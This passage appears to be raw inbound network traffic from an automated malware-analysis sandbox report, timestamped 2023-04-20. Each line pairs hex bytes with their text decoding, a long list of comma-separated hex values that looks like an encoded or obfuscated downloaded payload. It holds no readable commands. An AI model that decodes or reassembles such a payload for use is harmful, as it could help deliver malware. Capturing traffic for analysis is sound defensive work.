2023-04-20 23:04:21 UTC	7789	IN	Data Raw: 65 2c 62 33 2c 38 66 2c 61 36 2c 31 33 35 2c 63 65 2c 31 33 36 2c 39 61 2c 39 31 2c 31 37 31 2c 63 61 2c 38 66 2c 39 66 2c 31 34 61 2c 65 32 2c 35 37 2c 39 61 2c 31 34 38 2c 66 35 2c 31 33 62 2c 39 61 2c 38 64 2c 64 63 2c 31 30 61 2c 63 66 2c 31 32 63 2c 65 39 2c 31 33 66 2c 31 33 35 2c 33 62 2c 31 31 65 2c 66 31 2c 65 64 2c 31 30 39 2c 31 34 63 2c 64 30 2c 31 31 39 2c 63 38 2c 66 35 2c 64 64 2c 31 34 38 2c 63 65 2c 64 36 2c 63 35 2c 35 32 2c 31 35 38 2c 31 30 62 2c 37 63 2c 37 30 2c 38 30 2c 64 34 2c 65 34 2c 31 32 63 2c 31 32 32 2c 31 34 64 2c 31 30 65 2c 63 62 2c 62 35 2c 64 63 2c 31 32 30 2c 65 64 2c 66 31 2c 31 35 30 2c 37 38 2c 64 62 2c 39 62 2c 63 66 2c 65 33 2c 31 33 64 2c 39 36 2c 39 65 2c 35 64 2c 31 31 33 2c 63 35 2c 31 33 61 2c 31 30 37 2c 31 Data Ascii: e,b3,8f,a6,135,ce,136,9a,91,171,ca,8f,9f,14a,e2,57,9a,148,f5,13b,9a,8d,dc,10a,cf,12c,e9,13f,135,3b,11e,f1,ed,109,14c,d0,119,c8,f5,dd,148,ce,d6,c5,52,158,10b,7c,70,80,d4,e4,12c,122,14d,10e,cb,b5,dc,120,ed,f1,150,78,db,9b,cf,e3,13d,96,9e,5d,113,c5,13a,107,1
2023-04-20 23:04:21 UTC	7805	IN	Data Raw: 31 34 64 2c 66 65 2c 31 33 66 2c 65 32 2c 64 31 2c 61 62 2c 31 30 36 2c 35 63 2c 31 33 31 2c 31 35 62 2c 66 64 2c 31 31 36 2c 31 36 62 2c 64 37 2c 38 34 2c 35 62 2c 62 63 2c 37 61 2c 37 39 2c 35 34 2c 61 30 2c 31 34 37 2c 63 33 2c 66 64 2c 31 33 61 2c 36 65 2c 31 30 31 2c 36 64 2c 65 30 2c 31 32 62 2c 61 31 2c 39 62 2c 31 36 30 2c 31 34 30 2c 65 38 2c 37 37 2c 31 30 32 2c 31 34 35 2c 31 31 62 2c 31 30 39 2c 62 30 2c 37 31 2c 31 34 62 2c 33 63 2c 31 33 38 2c 61 30 2c 61 64 2c 38 32 2c 65 61 2c 37 63 2c 39 32 2c 65 30 2c 66 38 2c 31 32 32 2c 39 65 2c 64 39 2c 66 37 2c 65 38 2c 37 39 2c 31 33 39 2c 35 30 2c 63 34 2c 31 30 37 2c 64 33 2c 31 34 33 2c 62 37 2c 31 33 31 2c 38 33 2c 37 33 2c 39 61 2c 66 31 2c 38 34 2c 31 32 38 2c 31 31 30 2c 39 31 2c 65 34 2c 31 Data Ascii: 14d,fe,13f,e2,d1,ab,106,5c,131,15b,fd,116,16b,d7,84,5b,bc,7a,79,54,a0,147,c3,fd,13a,6e,101,6d,e0,12b,a1,9b,160,140,e8,77,102,145,11b,109,b0,71,14b,3c,138,a0,ad,82,ea,7c,92,e0,f8,122,9e,d9,f7,e8,79,139,50,c4,107,d3,143,b7,131,83,73,9a,f1,84,128,110,91,e4,1
2023-04-20 23:04:21 UTC	7821	IN	Data Raw: 32 30 2c 38 65 2c 38 35 2c 35 63 2c 31 32 39 2c 38 34 2c 31 37 35 2c 62 64 2c 66 65 2c 65 62 2c 31 34 39 2c 39 31 2c 34 31 2c 66 36 2c 66 61 2c 38 38 2c 31 33 31 2c 37 62 2c 31 31 39 2c 31 35 31 2c 34 39 2c 64 31 2c 31 33 30 2c 65 62 2c 31 33 37 2c 38 62 2c 31 31 63 2c 39 34 2c 39 34 2c 31 33 36 2c 31 33 32 2c 65 62 2c 61 32 2c 65 30 2c 37 36 2c 31 31 30 2c 65 66 2c 39 33 2c 31 33 39 2c 31 32 36 2c 31 31 65 2c 61 30 2c 38 32 2c 64 34 2c 66 64 2c 63 62 2c 39 66 2c 31 36 35 2c 65 62 2c 61 63 2c 64 65 2c 64 35 2c 66 39 2c 63 32 2c 31 30 64 2c 61 35 2c 64 36 2c 31 32 66 2c 35 33 2c 31 30 31 2c 39 32 2c 31 36 36 2c 65 30 2c 38 63 2c 63 35 2c 39 31 2c 38 36 2c 31 35 32 2c 65 38 2c 31 30 66 2c 31 31 32 2c 31 31 64 2c 38 36 2c 66 30 2c 31 33 36 2c 31 35 37 2c 63 Data Ascii: 20,8e,85,5c,129,84,175,bd,fe,eb,149,91,41,f6,fa,88,131,7b,119,151,49,d1,130,eb,137,8b,11c,94,94,136,132,eb,a2,e0,76,110,ef,93,139,126,11e,a0,82,d4,fd,cb,9f,165,eb,ac,de,d5,f9,c2,10d,a5,d6,12f,53,101,92,166,e0,8c,c5,91,86,152,e8,10f,112,11d,86,f0,136,157,c
2023-04-20 23:04:21 UTC	7837	IN	Data Raw: 2c 65 66 2c 37 62 2c 62 64 2c 66 63 2c 31 33 64 2c 66 64 2c 35 61 2c 66 35 2c 31 34 31 2c 39 64 2c 65 63 2c 63 62 2c 37 62 2c 64 64 2c 31 30 61 2c 38 35 2c 31 31 36 2c 62 64 2c 31 33 39 2c 37 34 2c 39 39 2c 63 64 2c 31 35 37 2c 32 66 2c 39 66 2c 36 66 2c 31 30 62 2c 31 31 33 2c 38 64 2c 37 64 2c 31 33 65 2c 66 31 2c 35 31 2c 66 61 2c 31 31 34 2c 64 39 2c 61 38 2c 38 65 2c 31 34 35 2c 31 32 35 2c 31 34 32 2c 31 35 35 2c 31 35 34 2c 31 32 34 2c 61 31 2c 63 36 2c 31 33 64 2c 39 30 2c 35 66 2c 31 34 65 2c 66 64 2c 31 31 32 2c 62 63 2c 65 31 2c 66 31 2c 34 33 2c 31 30 61 2c 36 39 2c 31 36 34 2c 31 30 36 2c 31 31 36 2c 34 31 2c 63 39 2c 61 37 2c 31 31 32 2c 39 61 2c 31 34 66 2c 31 35 64 2c 39 33 2c 37 66 2c 39 31 2c 65 39 2c 62 37 2c 65 37 2c 65 66 2c 31 31 37 Data Ascii: ,ef,7b,bd,fc,13d,fd,5a,f5,141,9d,ec,cb,7b,dd,10a,85,116,bd,139,74,99,cd,157,2f,9f,6f,10b,113,8d,7d,13e,f1,51,fa,114,d9,a8,8e,145,125,142,155,154,124,a1,c6,13d,90,5f,14e,fd,112,bc,e1,f1,43,10a,69,164,106,116,41,c9,a7,112,9a,14f,15d,93,7f,91,e9,b7,e7,ef,117
2023-04-20 23:04:21 UTC	7853	IN	Data Raw: 31 35 66 2c 31 30 37 2c 64 35 2c 34 39 2c 63 61 2c 31 31 36 2c 66 61 2c 65 61 2c 31 35 37 2c 38 64 2c 39 66 2c 37 61 2c 66 33 2c 62 32 2c 63 36 2c 65 30 2c 65 37 2c 62 64 2c 31 31 64 2c 31 30 36 2c 39 32 2c 38 37 2c 38 35 2c 65 65 2c 66 62 2c 31 32 31 2c 38 62 2c 66 65 2c 64 36 2c 35 35 2c 61 35 2c 31 35 30 2c 38 64 2c 35 38 2c 31 33 62 2c 31 31 38 2c 31 31 39 2c 39 38 2c 36 32 2c 31 32 62 2c 63 38 2c 61 66 2c 37 30 2c 31 32 63 2c 31 33 35 2c 31 35 38 2c 36 38 2c 31 32 66 2c 31 31 37 2c 31 36 66 2c 31 32 31 2c 31 30 35 2c 37 37 2c 65 31 2c 31 31 37 2c 61 61 2c 37 63 2c 62 36 2c 31 34 64 2c 31 30 39 2c 39 32 2c 31 35 31 2c 31 32 38 2c 31 31 61 2c 31 34 64 2c 66 36 2c 37 61 2c 63 34 2c 61 34 2c 31 33 37 2c 36 38 2c 65 35 2c 64 65 2c 31 32 65 2c 66 35 2c 63 Data Ascii: 15f,107,d5,49,ca,116,fa,ea,157,8d,9f,7a,f3,b2,c6,e0,e7,bd,11d,106,92,87,85,ee,fb,121,8b,fe,d6,55,a5,150,8d,58,13b,118,119,98,62,12b,c8,af,70,12c,135,158,68,12f,117,16f,121,105,77,e1,117,aa,7c,b6,14d,109,92,151,128,11a,14d,f6,7a,c4,a4,137,68,e5,de,12e,f5,c
2023-04-20 23:04:21 UTC	7869	IN	Data Raw: 63 2c 31 31 66 2c 31 31 66 2c 33 33 2c 31 35 30 2c 66 64 2c 31 30 66 2c 38 30 2c 31 32 66 2c 38 63 2c 36 30 2c 65 66 2c 31 31 39 2c 31 30 63 2c 31 31 35 2c 65 31 2c 31 31 35 2c 37 39 2c 35 35 2c 63 63 2c 64 34 2c 65 63 2c 31 34 30 2c 61 63 2c 65 61 2c 61 31 2c 31 31 33 2c 34 32 2c 61 65 2c 36 65 2c 31 30 61 2c 37 66 2c 35 64 2c 31 31 62 2c 36 38 2c 31 30 64 2c 63 31 2c 66 65 2c 31 34 36 2c 31 32 31 2c 39 37 2c 66 31 2c 65 34 2c 31 32 65 2c 31 33 35 2c 65 62 2c 39 31 2c 37 39 2c 65 38 2c 38 31 2c 35 32 2c 33 33 2c 38 31 2c 31 32 32 2c 63 30 2c 31 30 39 2c 31 30 35 2c 31 33 35 2c 37 39 2c 31 32 63 2c 31 33 62 2c 31 33 33 2c 31 36 36 2c 31 30 30 2c 31 32 34 2c 36 65 2c 36 30 2c 39 33 2c 31 33 39 2c 64 64 2c 31 34 31 2c 39 31 2c 64 32 2c 31 34 34 2c 61 32 2c Data Ascii: c,11f,11f,33,150,fd,10f,80,12f,8c,60,ef,119,10c,115,e1,115,79,55,cc,d4,ec,140,ac,ea,a1,113,42,ae,6e,10a,7f,5d,11b,68,10d,c1,fe,146,121,97,f1,e4,12e,135,eb,91,79,e8,81,52,33,81,122,c0,109,105,135,79,12c,13b,133,166,100,124,6e,60,93,139,dd,141,91,d2,144,a2,
2023-04-20 23:04:21 UTC	7885	IN	Data Raw: 33 33 2c 63 37 2c 39 35 2c 38 39 2c 31 34 30 2c 31 30 33 2c 66 33 2c 61 39 2c 62 66 2c 31 32 62 2c 31 30 30 2c 65 65 2c 65 38 2c 31 31 34 2c 66 35 2c 38 33 2c 39 30 2c 31 36 66 2c 63 66 2c 64 65 2c 31 33 65 2c 31 32 36 2c 35 62 2c 65 63 2c 34 35 2c 38 33 2c 65 66 2c 37 64 2c 66 33 2c 64 61 2c 31 35 65 2c 31 33 32 2c 65 30 2c 31 31 30 2c 65 34 2c 65 63 2c 64 31 2c 62 38 2c 62 39 2c 31 30 32 2c 38 36 2c 31 32 66 2c 38 61 2c 64 30 2c 66 61 2c 31 31 39 2c 62 39 2c 39 63 2c 39 65 2c 31 37 35 2c 38 38 2c 64 39 2c 61 63 2c 31 30 30 2c 36 66 2c 65 34 2c 31 30 32 2c 63 61 2c 65 64 2c 38 62 2c 31 33 35 2c 63 38 2c 31 31 36 2c 64 66 2c 61 34 2c 66 31 2c 31 32 35 2c 31 34 34 2c 31 31 65 2c 31 31 35 2c 31 30 63 2c 31 34 38 2c 63 65 2c 36 30 2c 38 39 2c 37 31 2c 63 62 Data Ascii: 33,c7,95,89,140,103,f3,a9,bf,12b,100,ee,e8,114,f5,83,90,16f,cf,de,13e,126,5b,ec,45,83,ef,7d,f3,da,15e,132,e0,110,e4,ec,d1,b8,b9,102,86,12f,8a,d0,fa,119,b9,9c,9e,175,88,d9,ac,100,6f,e4,102,ca,ed,8b,135,c8,116,df,a4,f1,125,144,11e,115,10c,148,ce,60,89,71,cb
2023-04-20 23:04:21 UTC	7901	IN	Data Raw: 62 61 2c 61 37 2c 62 38 2c 31 31 66 2c 38 65 2c 31 37 30 2c 65 64 2c 31 31 62 2c 63 31 2c 31 34 66 2c 61 33 2c 38 33 2c 64 30 2c 31 31 33 2c 65 34 2c 31 30 30 2c 38 34 2c 37 31 2c 31 33 33 2c 63 65 2c 31 35 33 2c 65 34 2c 39 36 2c 35 38 2c 39 30 2c 65 33 2c 36 31 2c 35 35 2c 31 36 35 2c 36 64 2c 62 39 2c 39 31 2c 31 34 34 2c 66 35 2c 37 35 2c 31 30 63 2c 35 39 2c 39 34 2c 64 63 2c 37 35 2c 37 64 2c 31 32 66 2c 61 33 2c 36 33 2c 66 62 2c 61 61 2c 31 33 32 2c 38 62 2c 61 34 2c 31 30 65 2c 63 38 2c 31 31 38 2c 38 37 2c 36 36 2c 62 65 2c 65 30 2c 38 36 2c 61 32 2c 65 37 2c 39 66 2c 31 35 37 2c 39 63 2c 39 61 2c 63 38 2c 31 34 37 2c 31 36 33 2c 35 39 2c 31 34 30 2c 65 36 2c 31 31 62 2c 31 31 61 2c 63 39 2c 35 39 2c 31 33 32 2c 35 37 2c 65 30 2c 66 33 2c 37 63 Data Ascii: ba,a7,b8,11f,8e,170,ed,11b,c1,14f,a3,83,d0,113,e4,100,84,71,133,ce,153,e4,96,58,90,e3,61,55,165,6d,b9,91,144,f5,75,10c,59,94,dc,75,7d,12f,a3,63,fb,aa,132,8b,a4,10e,c8,118,87,66,be,e0,86,a2,e7,9f,157,9c,9a,c8,147,163,59,140,e6,11b,11a,c9,59,132,57,e0,f3,7c
2023-04-20 23:04:21 UTC	7917	IN	Data Raw: 62 2c 31 33 36 2c 31 31 30 2c 66 61 2c 65 65 2c 39 37 2c 66 61 2c 39 63 2c 36 36 2c 61 64 2c 31 30 65 2c 31 33 66 2c 66 31 2c 31 34 32 2c 37 34 2c 61 66 2c 39 61 2c 62 31 2c 31 30 62 2c 31 36 62 2c 65 32 2c 31 33 31 2c 38 32 2c 31 30 32 2c 63 64 2c 64 64 2c 31 31 32 2c 31 33 65 2c 64 38 2c 31 32 30 2c 39 62 2c 65 37 2c 66 62 2c 66 63 2c 31 31 30 2c 33 61 2c 31 33 38 2c 31 33 37 2c 61 35 2c 66 63 2c 63 35 2c 31 30 63 2c 31 30 64 2c 31 33 66 2c 66 31 2c 31 34 32 2c 64 34 2c 31 30 66 2c 66 39 2c 31 31 30 2c 39 31 2c 31 36 62 2c 65 32 2c 31 33 31 2c 65 32 2c 31 36 32 2c 31 32 63 2c 38 61 2c 31 32 37 2c 31 34 30 2c 38 33 2c 39 62 2c 65 31 2c 62 37 2c 31 33 39 2c 36 37 2c 31 35 35 2c 33 62 2c 61 36 2c 63 33 2c 33 39 2c 35 65 2c 31 32 62 2c 61 34 2c 31 31 38 2c Data Ascii: b,136,110,fa,ee,97,fa,9c,66,ad,10e,13f,f1,142,74,af,9a,b1,10b,16b,e2,131,82,102,cd,dd,112,13e,d8,120,9b,e7,fb,fc,110,3a,138,137,a5,fc,c5,10c,10d,13f,f1,142,d4,10f,f9,110,91,16b,e2,131,e2,162,12c,8a,127,140,83,9b,e1,b7,139,67,155,3b,a6,c3,39,5e,12b,a4,118,
2023-04-20 23:04:21 UTC	7933	IN	Data Raw: 2c 39 62 2c 31 34 35 2c 66 62 2c 64 62 2c 63 38 2c 65 65 2c 62 33 2c 65 32 2c 62 39 2c 31 34 32 2c 34 62 2c 31 32 34 2c 31 31 35 2c 65 38 2c 31 33 63 2c 64 36 2c 31 31 37 2c 61 31 2c 63 31 2c 62 30 2c 64 33 2c 35 63 2c 37 35 2c 62 35 2c 37 39 2c 65 63 2c 66 63 2c 63 35 2c 31 32 63 2c 31 33 38 2c 39 61 2c 31 36 35 2c 39 65 2c 66 61 2c 35 62 2c 35 66 2c 31 33 38 2c 31 33 36 2c 31 31 35 2c 64 65 2c 38 64 2c 31 34 61 2c 31 31 33 2c 65 32 2c 65 33 2c 62 33 2c 63 30 2c 61 37 2c 31 36 39 2c 31 30 32 2c 31 31 32 2c 66 62 2c 31 30 64 2c 66 65 2c 31 33 61 2c 62 34 2c 39 34 2c 66 62 2c 31 34 39 2c 31 30 64 2c 31 34 34 2c 31 32 65 2c 31 31 34 2c 66 30 2c 37 63 2c 62 64 2c 64 64 2c 65 31 2c 66 62 2c 31 32 36 2c 36 34 2c 38 31 2c 65 61 2c 62 64 2c 64 35 2c 38 36 2c 39 Data Ascii: ,9b,145,fb,db,c8,ee,b3,e2,b9,142,4b,124,115,e8,13c,d6,117,a1,c1,b0,d3,5c,75,b5,79,ec,fc,c5,12c,138,9a,165,9e,fa,5b,5f,138,136,115,de,8d,14a,113,e2,e3,b3,c0,a7,169,102,112,fb,10d,fe,13a,b4,94,fb,149,10d,144,12e,114,f0,7c,bd,dd,e1,fb,126,64,81,ea,bd,d5,86,9
2023-04-20 23:04:21 UTC	7949	IN	Data Raw: 30 33 2c 37 62 2c 34 33 2c 61 36 2c 65 31 2c 31 34 34 2c 66 63 2c 31 35 64 2c 37 37 2c 62 66 2c 38 31 2c 31 34 30 2c 36 37 2c 64 63 2c 31 34 61 2c 39 32 2c 61 32 2c 63 36 2c 35 62 2c 63 63 2c 66 61 2c 35 64 2c 62 33 2c 65 32 2c 31 36 37 2c 34 34 2c 31 33 65 2c 66 63 2c 31 30 33 2c 31 32 62 2c 39 33 2c 31 34 38 2c 39 36 2c 62 64 2c 66 31 2c 31 34 37 2c 31 31 65 2c 62 61 2c 64 35 2c 65 35 2c 39 39 2c 63 30 2c 31 33 37 2c 36 63 2c 62 37 2c 38 64 2c 31 34 37 2c 38 64 2c 38 34 2c 35 39 2c 63 66 2c 31 33 62 2c 62 62 2c 31 32 30 2c 62 38 2c 37 38 2c 62 32 2c 31 30 30 2c 31 31 61 2c 62 64 2c 62 30 2c 31 30 39 2c 35 63 2c 65 64 2c 31 31 30 2c 64 65 2c 34 39 2c 31 32 64 2c 38 62 2c 31 31 35 2c 37 36 2c 36 33 2c 31 32 63 2c 64 64 2c 65 36 2c 31 32 62 2c 37 32 2c 66 Data Ascii: 03,7b,43,a6,e1,144,fc,15d,77,bf,81,140,67,dc,14a,92,a2,c6,5b,cc,fa,5d,b3,e2,167,44,13e,fc,103,12b,93,148,96,bd,f1,147,11e,ba,d5,e5,99,c0,137,6c,b7,8d,147,8d,84,59,cf,13b,bb,120,b8,78,b2,100,11a,bd,b0,109,5c,ed,110,de,49,12d,8b,115,76,63,12c,dd,e6,12b,72,f
2023-04-20 23:04:22 UTC	7965	IN	Data Raw: 36 2c 63 63 2c 37 62 2c 62 66 2c 31 35 32 2c 64 33 2c 31 34 39 2c 31 35 64 2c 62 61 2c 64 37 2c 66 38 2c 31 34 38 2c 31 30 37 2c 31 33 35 2c 34 62 2c 64 66 2c 66 32 2c 31 32 33 2c 31 30 65 2c 31 32 64 2c 31 30 30 2c 61 39 2c 66 38 2c 37 35 2c 31 32 35 2c 31 33 30 2c 63 38 2c 64 32 2c 61 37 2c 62 66 2c 62 64 2c 31 34 66 2c 65 30 2c 31 34 66 2c 39 30 2c 36 65 2c 31 34 31 2c 34 33 2c 38 39 2c 62 36 2c 33 34 2c 64 66 2c 63 38 2c 31 34 37 2c 61 38 2c 65 36 2c 38 33 2c 31 36 31 2c 31 31 36 2c 62 39 2c 31 32 63 2c 31 31 31 2c 31 33 30 2c 39 64 2c 36 62 2c 31 31 30 2c 31 34 30 2c 31 36 33 2c 38 65 2c 64 64 2c 65 63 2c 36 36 2c 31 32 61 2c 66 35 2c 31 32 30 2c 35 37 2c 61 39 2c 64 30 2c 66 31 2c 36 32 2c 38 64 2c 66 33 2c 36 62 2c 64 34 2c 31 32 30 2c 31 31 65 2c Data Ascii: 6,cc,7b,bf,152,d3,149,15d,ba,d7,f8,148,107,135,4b,df,f2,123,10e,12d,100,a9,f8,75,125,130,c8,d2,a7,bf,bd,14f,e0,14f,90,6e,141,43,89,b6,34,df,c8,147,a8,e6,83,161,116,b9,12c,111,130,9d,6b,110,140,163,8e,dd,ec,66,12a,f5,120,57,a9,d0,f1,62,8d,f3,6b,d4,120,11e,
2023-04-20 23:04:22 UTC	7981	IN	Data Raw: 66 38 2c 38 65 2c 63 63 2c 61 61 2c 31 31 34 2c 31 33 31 2c 31 32 36 2c 36 36 2c 31 33 39 2c 66 30 2c 62 39 2c 31 32 35 2c 31 30 36 2c 64 37 2c 64 34 2c 31 32 35 2c 31 32 33 2c 36 33 2c 31 32 30 2c 31 31 64 2c 65 37 2c 65 61 2c 31 31 63 2c 31 33 38 2c 31 32 38 2c 31 34 35 2c 39 33 2c 36 66 2c 63 65 2c 65 33 2c 66 61 2c 31 33 33 2c 38 61 2c 31 34 30 2c 39 33 2c 65 36 2c 66 35 2c 31 30 63 2c 31 34 38 2c 62 39 2c 31 34 37 2c 62 35 2c 38 61 2c 63 32 2c 61 64 2c 63 39 2c 37 62 2c 37 64 2c 36 62 2c 35 33 2c 31 32 65 2c 63 30 2c 65 33 2c 66 65 2c 62 30 2c 31 32 62 2c 63 34 2c 37 66 2c 36 63 2c 38 65 2c 31 31 65 2c 31 31 32 2c 65 31 2c 37 36 2c 61 65 2c 64 32 2c 62 37 2c 35 64 2c 65 35 2c 36 36 2c 64 61 2c 66 32 2c 31 30 30 2c 34 36 2c 31 31 37 2c 31 32 66 2c 31 Data Ascii: f8,8e,cc,aa,114,131,126,66,139,f0,b9,125,106,d7,d4,125,123,63,120,11d,e7,ea,11c,138,128,145,93,6f,ce,e3,fa,133,8a,140,93,e6,f5,10c,148,b9,147,b5,8a,c2,ad,c9,7b,7d,6b,53,12e,c0,e3,fe,b0,12b,c4,7f,6c,8e,11e,112,e1,76,ae,d2,b7,5d,e5,66,da,f2,100,46,117,12f,1
2023-04-20 23:04:22 UTC	7997	IN	Data Raw: 31 32 37 2c 62 37 2c 39 65 2c 31 30 33 2c 66 63 2c 31 31 37 2c 36 66 2c 31 31 65 2c 65 36 2c 63 64 2c 31 31 34 2c 66 38 2c 31 34 37 2c 38 65 2c 31 36 37 2c 31 36 39 2c 38 39 2c 64 33 2c 34 65 2c 37 63 2c 39 33 2c 65 64 2c 63 38 2c 37 62 2c 31 35 62 2c 39 30 2c 34 37 2c 31 31 35 2c 64 66 2c 31 30 38 2c 63 34 2c 61 38 2c 31 36 64 2c 31 31 34 2c 35 37 2c 31 32 34 2c 31 35 30 2c 37 34 2c 36 30 2c 38 66 2c 31 35 62 2c 31 32 64 2c 64 31 2c 66 36 2c 66 34 2c 39 30 2c 39 35 2c 31 30 33 2c 31 32 39 2c 31 34 63 2c 31 30 66 2c 31 32 36 2c 65 64 2c 64 64 2c 31 33 37 2c 39 38 2c 37 34 2c 61 38 2c 64 65 2c 31 35 30 2c 66 37 2c 66 64 2c 64 64 2c 63 33 2c 31 31 30 2c 31 30 32 2c 61 32 2c 35 33 2c 65 31 2c 35 37 2c 36 63 2c 62 32 2c 62 61 2c 31 31 34 2c 64 31 2c 64 39 2c Data Ascii: 127,b7,9e,103,fc,117,6f,11e,e6,cd,114,f8,147,8e,167,169,89,d3,4e,7c,93,ed,c8,7b,15b,90,47,115,df,108,c4,a8,16d,114,57,124,150,74,60,8f,15b,12d,d1,f6,f4,90,95,103,129,14c,10f,126,ed,dd,137,98,74,a8,de,150,f7,fd,dd,c3,110,102,a2,53,e1,57,6c,b2,ba,114,d1,d9,
2023-04-20 23:04:22 UTC	8013	IN	Data Raw: 62 66 2c 36 37 2c 61 35 2c 34 32 2c 62 31 2c 31 31 63 2c 31 34 62 2c 31 31 30 2c 31 33 32 2c 62 65 2c 63 65 2c 31 32 65 2c 31 34 65 2c 31 34 32 2c 37 34 2c 31 32 38 2c 66 63 2c 39 64 2c 31 30 65 2c 63 61 2c 65 35 2c 63 38 2c 31 30 34 2c 64 35 2c 31 31 32 2c 38 65 2c 31 30 30 2c 33 61 2c 62 35 2c 31 31 62 2c 31 35 31 2c 39 30 2c 61 61 2c 36 64 2c 61 34 2c 62 33 2c 35 66 2c 31 31 32 2c 31 36 31 2c 31 31 39 2c 31 35 31 2c 35 62 2c 31 33 34 2c 64 39 2c 31 36 66 2c 31 32 61 2c 31 31 62 2c 65 64 2c 35 37 2c 31 30 63 2c 65 64 2c 38 34 2c 39 32 2c 63 63 2c 31 34 39 2c 65 34 2c 36 62 2c 61 33 2c 36 65 2c 34 34 2c 39 37 2c 36 66 2c 38 37 2c 63 37 2c 66 31 2c 39 38 2c 37 35 2c 34 36 2c 31 33 65 2c 36 35 2c 31 35 62 2c 66 65 2c 31 35 31 2c 61 38 2c 31 32 30 2c 36 66 Data Ascii: bf,67,a5,42,b1,11c,14b,110,132,be,ce,12e,14e,142,74,128,fc,9d,10e,ca,e5,c8,104,d5,112,8e,100,3a,b5,11b,151,90,aa,6d,a4,b3,5f,112,161,119,151,5b,134,d9,16f,12a,11b,ed,57,10c,ed,84,92,cc,149,e4,6b,a3,6e,44,97,6f,87,c7,f1,98,75,46,13e,65,15b,fe,151,a8,120,6f
2023-04-20 23:04:22 UTC	8029	IN	Data Raw: 31 30 38 2c 63 30 2c 38 32 2c 37 31 2c 31 30 35 2c 31 33 35 2c 37 64 2c 36 35 2c 36 36 2c 62 32 2c 31 30 32 2c 31 30 34 2c 31 33 39 2c 66 36 2c 64 33 2c 64 36 2c 39 34 2c 38 61 2c 39 32 2c 31 32 30 2c 31 32 63 2c 31 33 38 2c 31 31 30 2c 61 38 2c 34 30 2c 31 32 31 2c 64 65 2c 62 38 2c 39 39 2c 62 32 2c 31 30 64 2c 31 33 31 2c 31 30 35 2c 62 36 2c 31 36 33 2c 39 36 2c 37 66 2c 38 32 2c 63 66 2c 64 32 2c 63 33 2c 31 33 66 2c 31 30 64 2c 63 32 2c 64 62 2c 34 61 2c 31 32 66 2c 31 34 35 2c 64 33 2c 31 32 30 2c 39 62 2c 31 34 34 2c 62 32 2c 31 30 64 2c 63 33 2c 31 31 30 2c 37 35 2c 66 66 2c 66 35 2c 31 33 36 2c 64 38 2c 66 39 2c 66 64 2c 31 32 38 2c 62 36 2c 31 32 32 2c 31 36 31 2c 31 30 65 2c 66 31 2c 65 32 2c 31 30 66 2c 37 63 2c 36 39 2c 31 31 34 2c 31 34 31 Data Ascii: 108,c0,82,71,105,135,7d,65,66,b2,102,104,139,f6,d3,d6,94,8a,92,120,12c,138,110,a8,40,121,de,b8,99,b2,10d,131,105,b6,163,96,7f,82,cf,d2,c3,13f,10d,c2,db,4a,12f,145,d3,120,9b,144,b2,10d,c3,110,75,ff,f5,136,d8,f9,fd,128,b6,122,161,10e,f1,e2,10f,7c,69,114,141
2023-04-20 23:04:22 UTC	8045	IN	Data Raw: 31 38 2c 31 33 64 2c 64 33 2c 66 38 2c 31 31 62 2c 37 65 2c 31 31 31 2c 64 39 2c 37 66 2c 37 32 2c 31 33 31 2c 36 36 2c 62 65 2c 63 64 2c 38 35 2c 31 30 34 2c 66 39 2c 31 30 30 2c 31 31 63 2c 31 33 34 2c 35 63 2c 36 36 2c 31 31 38 2c 31 36 31 2c 64 65 2c 62 37 2c 36 30 2c 31 32 63 2c 62 61 2c 38 32 2c 31 32 30 2c 31 34 64 2c 31 30 30 2c 38 61 2c 31 34 65 2c 31 35 32 2c 66 63 2c 31 34 37 2c 31 31 62 2c 39 34 2c 31 31 32 2c 39 64 2c 31 33 31 2c 31 31 30 2c 37 66 2c 31 30 39 2c 31 33 30 2c 62 66 2c 35 65 2c 39 65 2c 31 31 38 2c 31 32 62 2c 31 30 34 2c 31 31 63 2c 66 64 2c 31 35 33 2c 63 37 2c 35 37 2c 63 63 2c 37 34 2c 36 66 2c 62 39 2c 64 39 2c 31 32 32 2c 31 30 65 2c 31 34 36 2c 31 30 31 2c 66 30 2c 39 61 2c 31 30 62 2c 38 66 2c 37 66 2c 64 64 2c 31 34 39 Data Ascii: 18,13d,d3,f8,11b,7e,111,d9,7f,72,131,66,be,cd,85,104,f9,100,11c,134,5c,66,118,161,de,b7,60,12c,ba,82,120,14d,100,8a,14e,152,fc,147,11b,94,112,9d,131,110,7f,109,130,bf,5e,9e,118,12b,104,11c,fd,153,c7,57,cc,74,6f,b9,d9,122,10e,146,101,f0,9a,10b,8f,7f,dd,149
2023-04-20 23:04:22 UTC	8061	IN	Data Raw: 63 2c 31 36 32 2c 31 37 35 2c 64 63 2c 35 39 2c 31 31 34 2c 31 30 32 2c 37 35 2c 66 36 2c 35 37 2c 64 33 2c 31 34 33 2c 64 37 2c 62 65 2c 31 36 63 2c 61 31 2c 31 30 38 2c 37 30 2c 31 31 62 2c 66 38 2c 65 34 2c 64 66 2c 31 31 64 2c 31 36 35 2c 65 63 2c 36 33 2c 66 65 2c 39 34 2c 37 35 2c 31 34 65 2c 63 63 2c 31 31 33 2c 61 33 2c 31 36 65 2c 31 35 62 2c 31 30 38 2c 31 32 37 2c 31 30 33 2c 63 65 2c 62 38 2c 31 33 37 2c 35 64 2c 66 38 2c 65 30 2c 31 32 63 2c 61 64 2c 31 33 66 2c 37 63 2c 62 33 2c 62 32 2c 37 34 2c 64 62 2c 62 61 2c 37 35 2c 63 61 2c 31 35 38 2c 61 66 2c 39 34 2c 31 34 31 2c 31 30 34 2c 66 38 2c 31 30 35 2c 31 31 35 2c 31 32 37 2c 31 30 65 2c 39 30 2c 31 33 33 2c 35 64 2c 65 38 2c 63 38 2c 35 31 2c 65 61 2c 65 34 2c 66 31 2c 38 30 2c 39 65 2c Data Ascii: c,162,175,dc,59,114,102,75,f6,57,d3,143,d7,be,16c,a1,108,70,11b,f8,e4,df,11d,165,ec,63,fe,94,75,14e,cc,113,a3,16e,15b,108,127,103,ce,b8,137,5d,f8,e0,12c,ad,13f,7c,b3,b2,74,db,ba,75,ca,158,af,94,141,104,f8,105,115,127,10e,90,133,5d,e8,c8,51,ea,e4,f1,80,9e,
